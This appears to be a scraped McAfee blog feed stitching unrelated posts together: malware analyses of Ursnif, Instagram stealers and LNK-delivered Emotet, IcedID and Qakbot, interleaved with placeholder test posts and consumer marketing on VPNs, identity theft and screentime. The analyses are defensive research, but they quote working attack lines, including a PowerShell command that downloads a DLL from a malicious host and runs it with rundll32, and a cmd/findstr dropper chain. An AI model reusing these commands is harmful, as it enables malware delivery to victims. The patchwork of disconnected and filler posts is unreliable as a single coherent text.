The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Figure-1: flowchart of infection chain
Word Analysis
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Figure-2: Image of what the user sees upon opening the document
VBA Macro Analysis of Word Document
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
Figure-3: Oleid output
Figure-4: Olevba output
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
Figure-5: Obfuscated VBA macro
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
Figure-6: De-obfuscated VBA macro (stage 1)
Figure-7: De-obfuscated VBA macro (stage 2)
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
Figure-8: Document properties
Payload Download and Execution:
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
Figure-9: Raw Company property
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
Figure-10: Code of VirtualProtect
Figure-11: Shellcode’s memory and protection after calling VirtualProtect()
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
Figure-12: Environment variable set in Winword.exe space
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
Figure-13: SetTimer function (Execution of shellCode)
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
| URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
| CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
Figure-14: Exports of Downloaded DLL
After successful execution of the shellcode, the environment variable is removed.
Figure-15: Removal of Environment Variable
IOC
| TYPE | VALUE | PRODUCT | DETECTION NAME |
| Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
| Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
| URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
MITRE Attack Framework
| Technique ID | Tactic | Technique Details | Description |
| T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
| T1059.005 | Execution | Visual Basic | Malicious VBA macros |
| T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
| T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
| T1086 | Execution | Powershell execution | PowerShell command abuse |
Conclusion
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
The post Test Post appeared first on McAfee Blog.
https://origin-blogs.mcafee.com/blogs
The post Test Test 2 appeared first on McAfee Blog.
test content – McAfee Partner…test content – McAfee Partner…test content – McAfee Partner…test content – McAfee Partner…test content – McAfee Partner…test content – McAfee Partner…
Test
The post test article – McAfee Partner appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(Left) and Mmalware(Right)
Next, this malware requests an account (username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers.
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified.
The way the domain introduces is very simple.
When you run the function, you can see that the number of followers increases every few seconds.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29.
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgement.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security.
SHA256:
Domains:
The post Instagram credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
The topic most top of mind today for HR professionals is keeping and acquiring great talent. One of the most important elements of doing both is providing a desirable and meaningful set of employee benefits.
The idea of Digital Wellness isn’t exactly brand new, but the world we’ve lived in for the past few years has cemented it into one of the main pillars of employee benefits, joining the traditional big three of Financial, Mental and Physical Wellness.
One of the main reasons Digital Wellness has become essential is that so many people have had to both live and work exclusively online for an extended period of time – spending 8+ hours a day on personal things in addition to all those hours they spend working via the web. Things like banking, telehealth and shopping to name a few.
There’s almost no aspect of life that isn’t touched by the internet for most people, especially when adding their work environment into the mix.
In addition to all the regular life they live online, employees have become accustomed to working remotely, even if it’s just part of the time.
With these kinds of stats, it’s hardly surprising that 74% of employers plan to maintain some sort of remote/hybrid workforce into the foreseeable future6.
The digital world has become a veritable smorgasbord for hungry cyber criminals. In fact, there’s been a 400% increase in cybercrime just over the last couple of years7. To put it in perspective, here are a few sobering statistics that happen on a daily basis:
Unfortunately, all this means that people are in a constant battle to protect themselves from cyber risk.
With everyone going about their daily activities and working whenever and wherever they happen to be at the time, it’s probably no surprise that more than half of employees are using their personal devices for work11. It’s just too convenient not to. However, when you also realize that 95% of breaches are caused by human error12, this intersection between personal life and work-life becomes risky for both the employees and their employers. It’s no wonder that companies with a large number of employees working remotely have seen a 24% increase in breaches since the pandemic began13.
When companies’ networks are breached it causes their customers to be vulnerable, risking a huge blow to their reputation and invoking serious fines and penalties due to compliance failures. And trying to get cyber insurance to protect against financial loss has become increasingly more difficult. A recent article by the Wall Street Journal reported that cyber insurance premiums rose 92% in 2021 and the hoops companies have to jump through are much more stringent to be eligible for the coverage – things like providing cyber education and ensuring they’re taking stronger steps to protect their network and customer data14.
In addition to the direct financial impact of cyber threats, there’s also the loss of human capital. It can take up to six months and up to 200 hours of a person’s time to address and correct identity theft15. If employees are focusing on digital healing, it’s a fair bet they’re not focusing as closely on their work.
Preventative care is the first step toward Digital Wellness, and it consists of three, simple parts.
Restorative care is the second step in the Digital Wellness journey. If a digital threat sneaks through even after all the careful preventive care, it’s important to quickly remedy the situation.
Great benefits that have real meaning for employees are key to helping retain and acquire amazing talent. Providing an all-in-one and easy-to-use Digital Wellness solution designed to safeguard against compromised devices, privacy leaks, identity theft and other frustrating, time-consuming issues not only provides peace of mind for employees but also directly – and positively, impacts a company’s bottom line. Choosing a trusted cyber protection solution like McAfee for your Digital Wellness benefit will give your employees a brand they love and your company the advantage of 30+ years of experience protecting people from digital threats.
For more information on McAfee Digital Wellness, visit www.mcafee.com/employee-benefits-info or send an email to EmployeeBenefits@McAfee.com.
Footnotes –
The post McAfee’s Digital Wellness Delivers Online Protection As An Employee Benefit appeared first on McAfee Blog.
The pandemic forced many parents into screentime management Bootcamp. We learned quickly that more hours at home require more intention in managing family technology. The exact purpose holds true for summer. Before things get too crazy—vacations, camps, and a revolving door of friends—a priority might be putting a screentime plan in place.
Add to the summer equation that many parents are still on remote or hybrid work schedules, and the need for a summer screentime plan becomes even more important.
But first, what’s the cost of just winging it with screentime this summer? Doing so could harm your child both emotionally and physically. According to the American Academy of Pediatrics (AAP), children spend an average of seven hours a day on entertainment media, such as televisions, computers, phones, and other electronic devices. Now that summer is here, we can assume that number will increase.
Balancing your child’s screentime is also a safety issue. As the summer ticks on, boredom can lead to more time online, which can open the door to threats such as cyberbullying, self-esteem and body issues, risky behavior, and connecting with strangers.
Keep in mind that every family’s summer screentime balance plan will be different depending on family schedules and children’s ages. Not sure where to begin? The AAP has an excellent, customizable Media Plan that includes a Screen Time Calculator. The guide will help you design a plan based on the ages of each child in your family.
One mom on Facebook recently shared a powerful reminder that, as parents, we only have 18 summers with our kids before—poof—they are grown. She also shared an inspiring visual reminder. She keeps a clear jar with each of her children’s names on it in plain view. Inside each jar, she places 18 colorful tiny pom-poms. She subtracts one pom pom each year on their birthday. As the pom poms visually decrease, it reminds her to make the most of her time with each child. Here’s hoping your summer is packed with less screentime and more moments that make each pom pom count.
The post 6 Tips to Help Your Balance Your Children’s Summer Screentime appeared first on McAfee Blog.
The internet is a big place. While it’s changed the world for the better — making our daily lives that much easier! — it can also be a playground for cybercriminals who would love to get their hands on our personal information.
When this happens, it can result in identity theft. While it can be scary to deal with, there are things you can do to protect yourself and recover from this type of cybercrime.
In this article, we’ll tell you what identity theft is and how to recognize its various forms. We’ll also go over what you can do to bounce back after your identity has been taken.
Life online presents so many cool opportunities, but it can also make us vulnerable to cybercriminals. But that doesn’t mean you need to get offline. A little knowledge can go a long way in keeping you safe. It all starts with understanding what identity theft is.
Identity theft is when someone steals your personal or financial information to commit fraud or deception, typically for monetary gain. Depending on their goals, they might take a variety of information. Unfortunately, this is something most people will experience — either directly or indirectly — at some point in their lives.
What makes identity theft really troublesome is that the consequences can go beyond just affecting your credit score. You might experience issues while trying to get jobs, see an increase in your auto insurance rate, get a surprise tax bill, and even find out you have a criminal record! Not to mention it can cost a lot of time and money to fix.
Just as important as it is to understand what identity theft is, it’s also important to know the different types of identity theft so you can keep an eye out.
You work, play, and shop on the internet every day, but you shouldn’t let the fear of identity theft stop you from doing what you enjoy online. All it takes is a little information to outsmart online criminals — including knowing the different types of identity theft. They include:
How does an identity thief get your information? Any time you make a purchase, subscribe to a website, file a tax return, or do anything else online, you share your personal information. And some cybercriminals are pretty good at getting that information for themselves.
Here are a few of the most common ways thieves can get access to your data:
The type of information that hackers take during a breach can vary widely. It just depends on what information a company stores, what data the cybercriminal can access, and even the purpose of the attack. A hacker might be making a political statement or simply “showing off” their skills.
During a breach, hackers target information that can be resold on the dark web or used for identity fraud, like debit card or credit card accounts. They might also collect data like people’s full names, email addresses, passwords, Social Security numbers, and driver’s license numbers.
Dealing with identity theft can be stressful and a little bit scary, but we promise it’s not the end of the world. The important thing is to be quick about it and stay alert for signs of identity theft, like:
The good news is that if you’re ever the victim of identity theft, there are several things you can do to limit and reverse that damage. We’ll explore these steps in the next few sections.
Notify your credit card company, financial institution, or the business where the thief is using your data right away. For example, if the criminal is using your credit card number to buy clothing online, contact the store immediately. They’ll be able to stop any further purchases from being made.
Banks don’t like scams, either. Some banks may require you to show them a police report about your identity theft before they’ll refund any fraudulent charges or withdrawals. Call your local law enforcement office to report identity theft as soon as you can.
Before speaking to an officer, though, take the time to go over all the information so you don’t leave anything out. Be as detailed as possible. Let the cops know how your sensitive information was used and what dates and times it was used. You may want to bring a copy of your bank statement as proof.
One of the biggest pains about identity theft is that it can affect your credit score, which can affect your ability to do things like secure a business loan or buy a house. File a fraud alert with each of the three major credit bureaus — TransUnion, Equifax, and Experian — and let them know which activity on your credit report is false.
When you file a report with the Federal Trade Commission (FTC), they’ll create a free recovery plan for you to deal with your identity being stolen. The FTC is a government organization that protects the rights of consumers. You can get started by visiting IdentityTheft.gov.
The best time to deal with identity theft is before it happens. When you sign up for all-in-one protection, like McAfee Total Protection, you’ll get $1 million of identity theft protection insurance.
We’ll also provide identity monitoring to help catch threats to your information before they get out of hand. You’ll also get access to our Secure VPN and our quality antivirus and safe browsing software to protect you from threats like malware.
You deserve to live your life online and enjoy the internet the way it was meant to be. That’s where McAfee can help — making the digital world a safe place for you and your family!
We’ve got your back when it comes to your online identity with our identity protection service. When you sign up, we’ll keep tabs on up to 60 unique types of personal data, including your financial information. We’ll also notify you up to 10 months sooner than similar services if it seems like your identity has been compromised. And on top of $1 million of ID theft coverage, you’ll receive hands-on restoration support to get your identity back.
See how McAfee can help secure your personal information online and give you peace of mind. What Is Identity Theft and How Do You Recover From It?
The post What Is Identity Theft and How Do You Recover From It? appeared first on McAfee Blog.
The internet makes it easy to get a lot done, but not all of it needs to be public. That’s where incognito mode comes in, letting you hide your search history from others who are using your internet-connected device. For example, imagine searching online for “ideas for a surprise birthday party.” You wouldn’t want the guest of honor to see that if they use your shared computer!
What most people don’t realize, though, is that incognito mode or private browsing isn’t really private. If you want to have a private browsing session, it helps to understand what incognito mode does and doesn’t do.
In this article, we’ll explain what incognito mode is, how to turn it on using different search engines and mobile devices, and why a VPN like McAfee Secure VPN might be a better option for safeguarding your privacy.
When you search the internet, your web browser automatically saves the history of your searches. In incognito mode, however, it deletes this information when you end the session.
Google Chrome coined “incognito mode,” so the term is pretty popular. Other web browsers might refer to it differently. For example, Firefox calls it “private mode,” while Safari uses the term “private browsing.”
When you search the internet in private browsing mode, your browser won’t save the history of the websites once you close all of the incognito tabs. This deleted information might include:
Incognito mode can be super convenient but, as we said, it’s not really private. While it’s true that anyone using your device won’t be able to view your history, your browsing can still be viewed by outside eyes, like:
Every major browser and mobile device has a type of private browsing. Here’s how to access incognito mode in a few different ways.
It’s easy to launch a search in incognito mode in Google Chrome. Just follow these steps:
You’ll know you’re in Chrome’s incognito mode by the black background and spy icon on the homepage. Here, Chrome reminds you of what incognito mode will and won’t do.
There is also a toggle to block third-party cookies. When you visit different websites while in incognito mode, websites can track your movement. They might use that data to target ads based on your search history. When you enable third-party cookie blocking, it stops sites from sharing cookies and data.
Here’s how to set it up in the Google Chrome browser for your Android (note that the Google Chrome app is the default browser for most Android phones):
Remember, for Google Chrome’s incognito mode to do the trick, you need to close your browsing session after each use. If you leave the tab open and someone else uses your phone, they can see your activity.
What Chrome calls “incognito mode,” Mozilla Firefox refers to as “private browsing.” There are a couple of ways to launch a private window using the steps below:
The private browsing window has a dark-purple background and a mask icon. This homepage also describes the limitations of private browsing.
With its Enhanced Tracking Protection, Firefox blocks third-party tracking across sites. This is a default protection on Firefox, so cookies are blocked across sites no matter which privacy setting a user chooses.
Apple’s Safari was the first to introduce private browsing for Apple devices in 2005. Users have a couple of ways to open a private window on a Mac or an iOS device. They include:
Your sign that you’re in a private browser window is a dark gray search bar. Like Firefox, Safari lets you block third-party tracking (you’ll just need to adjust your settings to do so). Choose Safari on your Mac. Go to “Preferences” and click “Privacy.” Then, select “Prevent cross-site tracking.”
For iPhones, the default browser is Safari. Here’s how to set up private browsing in Safari for your iPhone:
Remember to close your browser’s private tabs when you’re done surfing. This makes sure that cookies are deleted and the private session is safely hidden from your device’s history.
Doing a private search that erases your browsing history can be useful in certain situations. Because some cookies are deleted at the end of your search, you’ll see fewer ads than in a normal search.
If there’s something you don’t want to keep in your browser history, like shopping for a gift for a relative, an incognito search can keep your activity private.
It’s also a good idea to use incognito mode when using a public device or a borrowed computer to protect your data.
Incognito mode is even helpful if you want to do a search that’s not influenced by your browsing history or to see your blog or website from a fresh perspective.
The terms “private search” and “incognito mode” sound great. But while your history is erased on your device, it’s still visible to the outside world. Even when you’re in incognito mode, websites, your ISP, and your network can still see your IP address and browsing history.
Not to mention, it won’t delete any files you download, like malicious software. While someone using your device won’t be able to see your browsing history, incognito mode won’t be able to stop hackers and identity thieves in their tracks.
If you really want to hide your computer’s IP address and browse privately while keeping your data safe, it’s a good idea to look into a VPN service, like McAfee Secure VPN. With our smart VPN, you can browse confidently and stay anonymous from advertisers and prying eyes. You’ll also benefit from bank-grade encryption and automatic protection on unsecured networks.
If your goal is to keep prying eyes out of your browsing history, incognito browsing might not be enough. Use a McAfee Secure VPN for worry-free browsing.
For added security, though, upgrade to McAfee Total Protection Ultimate and enjoy antivirus protection, identity monitoring, and more!
The post What Is Incognito Mode and How Safe Is It? appeared first on McAfee Blog.
Authored by Lakshya Mathur
An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.
During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.
In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.
Below is a screenshot of how these shortcut files look to a normal user.
With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.
Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.
We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.
In Figure 4 we can see the lure message and attached malicious LNK file.
The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:
As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.
In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”
Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs
The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.
The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.
This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.
Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties
The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.
The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe
The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.
This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.
In Figure 10 the full target part argument is “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”
When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll
This is the main Qakbot DLL payload which is then executed using the rundll32 utility.
As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.
We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.
| Type | SHA-256 | Scanner | |
| Emotet LNK | 02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71 | WSS | LNK/Emotet-FSE |
| IcedID LNK | 24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9 | WSS | LNK/Agent-FTA
Suspicious ZIP!lnk |
| Qakbot LNK | b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172 | WSS | LNK/Agent-TSR
|
| URLs (Uniform Resource Locator) | hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/
hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png |
WebAdvisor | All URLs Blocked |
The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.
In today’s connected world, you can do so much on the internet. It’s never been easier to stay entertained (Netflix, anyone?), informed, and productive. But it’s important to keep your online activities private and safe, whether you’re checking social media, using a streaming service, or banking online.
With the right solutions, you can have a worry-free online experience.
Thankfully, virtual private network (VPN) software keeps your data secure by hiding your IP address (the address your device uses to access the network). In this article, discover the benefits of a VPN, learn how to set one up, and review some things to consider when looking for the right VPN solution for you.
A virtual private network (VPN) is software that protects your internet connection by keeping your IP address secure and anonymous. Essentially, it opens a private tunnel just for you!
It does this by making a secure connection between your internet-connected device and a remote VPN server. It also encrypts the information you upload onto the internet, preventing others from intercepting it.
This means you can feel confident surfing the web without worrying about other people uncovering your location, identity, or online activity.
A perfect digital world wouldn’t have malware, website trackers, ISP data throttling, or prying eyes. Thankfully, investing in a good VPN can help you overcome a lot of these challenges.
Here’s a little more detail about the benefits of a VPN:
Investing in the right tools is a surefire way to make yourself feel less vulnerable to online risks. Rather, you’ll feel empowered to enjoy a care-free online experience.
McAfee® Safe Connect VPN is one such tool that gives you the freedom to enjoy all the good things that the internet offers without worrying about online privacy or safety.
This tool works on multiple platforms, including Microsoft Windows, macOS, Android, and iOS. More importantly, McAfee Safe Connect VPN is easy to set up on different devices, allowing you to benefit from bank-grade AES 256-bit encryption. So, you can browse the internet using Chrome or another browser and connect via public Wi-Fi without losing sleep over vulnerability to risks.
Depending on your preferences, it’s possible to set up a VPN automatically or manually. We discuss the steps to set up a VPN manually in the sections below.
Easy setup and connection to a VPN server are key factors when choosing the right tool or software for your needs. On a Windows 10 system, just follow a few steps to establish a secure and stable connection.
The next time you need to set up a VPN on a Mac computer, you’ll be pleased to know that the setup steps are short and sweet.
Here’s what you need to do.
Picking the best VPN solution that takes care of your privacy needs involves ticking various boxes based on the features and functionality that matter most to you.
Here are some things to look for in a virtual private network:
If you have a mobile device like an Apple iPhone or Android device, you can also enjoy the benefits that come with using a VPN.
Setting up and using a VPN like McAfee’s Safe Connect VPN on an Android device or iOS platform is super easy. Just download the VPN from the app store or the McAfee website, and you’re good to go.
McAfee offers both a free VPN (with 250 MB of free data every month and protection for one device) and paid subscription plans that come with unlimited data and protection for up to five devices. You can also enjoy a 30-day free trial to see if it’s the right VPN for you.
It’s usually fine to just use the default settings, too, so you don’t have to do anything else other than login.
Hiding your IP address and maximizing privacy has never been easier thanks to virtual private networks. These tools can also protect you from prying eyes by converting the information you upload to the internet into code using advanced encryption technology.
VPNs have several advantages, including getting around website trackers used by advertisers to monitor your online activities. Another thing to remember is that it’s relatively easy to set one up no matter your operating system.
If you’re looking for the right VPN solution for you, consider McAfee Secure VPN — included in McAfee Total Protection — which comes with the latest encryption technology. Whether you install the software on your mobile or desktop device, you can be confident that you and your family’s sensitive data is secure.
The post How to Set Up a VPN appeared first on McAfee Blog.
The digital world can be a challenging territory, especially for our parents or grandparents who are trying to navigate it. Just like how we guide our children to understand and safely navigate the Internet, it is equally important to educate our elderly loved ones about the risks and best practices for using the Internet. By being proactive and involving them in our digital lives, we can help to ensure their online security.
The sandwich generation, a term coined for middle-aged individuals who have children and aging parents to take care of, has the arduous task of ensuring the safety of their loved ones both offline and online. With the ubiquity of technology and the internet, safeguarding our family has extended beyond the physical world into cyberspace. More than ever, it’s crucial to ensure that both our children and our elderly loved ones are safe from the potential threats and scams lurking on the internet.
Life expectancies are increasing, and many are choosing to have careers before becoming parents, meaning middle-aged individuals often care for both their children and elderly parents, making them the ‘sandwich’ generation. They juggle between keeping their children safe from cyber threats and making sure their parents don’t fall prey to online scams. The responsibility can feel overwhelming, but with the right knowledge and tools, it is manageable.
McAfee Pro Tip: Regardless of age, we should all unite in supporting identity and online privacy protection. Cybercriminals don’t discriminate; they target various generations differently. Learning about current cyber threats is the initial defense for safeguarding the entire family online.
The internet has become a vital part of modern life, and seniors are no exception to this trend. According to the Australian Communications and Media Authority (ACMA), more than 90% of Australian seniors had internet connectivity in their homes by 2020, a significant increase from 68% in 2017. This increase can be attributed to the pandemic, which has driven more seniors to go online for their daily activities, such as banking, shopping, and staying connected with loved ones.
Another aspect to consider is the role of social media in seniors’ lives. Many older adults use platforms like Facebook to connect with family and friends, which can be an important source of emotional support and social engagement. Encouraging seniors to use these platforms safely and responsibly can help them stay connected and maintain their mental well-being.
→ Dig Deeper: Millions of Facebook Users May Have Unknowingly Shared Posts Publicly
Despite this, learning to navigate the internet safely can be a daunting task for them. Like driving a car, using the internet safely requires knowledge and practice. Therefore, it is essential to provide consistent guidance and support to our elderly loved ones to ensure their security in the digital realm. One effective way is to keep things simple. Do not rush them into understanding everything at once. Instead, educate them about new apps or potential online risks one step at a time. This approach ensures that they comprehend each piece of advice and are more likely to follow through.
As their digital experience continues to grow, there are several steps we can take to help our elderly loved ones remain safe online. From using protection software to managing passwords effectively, these tips can make a significant difference in ensuring their online protection.
Investing in reliable protection software is an effective way to enhance online safety. Top-level security software offers comprehensive protection against threats like viruses and malware, which can be unknowingly downloaded from the internet. It can also offer secure online shopping by identifying and blocking risks before they could harm the user.
McAfee+ protection is a good example. It offers comprehensive security for all connected devices in a family. The software provides real-time protection against malware, viruses, and other threats, ensuring that your family’s online activities remain secure. It also aids in managing passwords and locating lost or stolen devices, providing an added layer of security.
As the older generation becomes more accustomed to the online world, they often become the target of cyber criminals and online scams. Therefore, it is crucial to keep them aware of the different types of scams frequently occurring on the internet. These scams can come in various forms, such as phishing emails, fraudulent calls, fake websites, and more. Seniors need to be reminded regularly not to reply to emails from unknown sources or even answer calls from unfamiliar numbers. More importantly, they should be conditioned to question the legitimacy of calls from their banks or other institutions. If they are unsure about the caller’s identity, they should ask for the caller’s contact information to call them back.
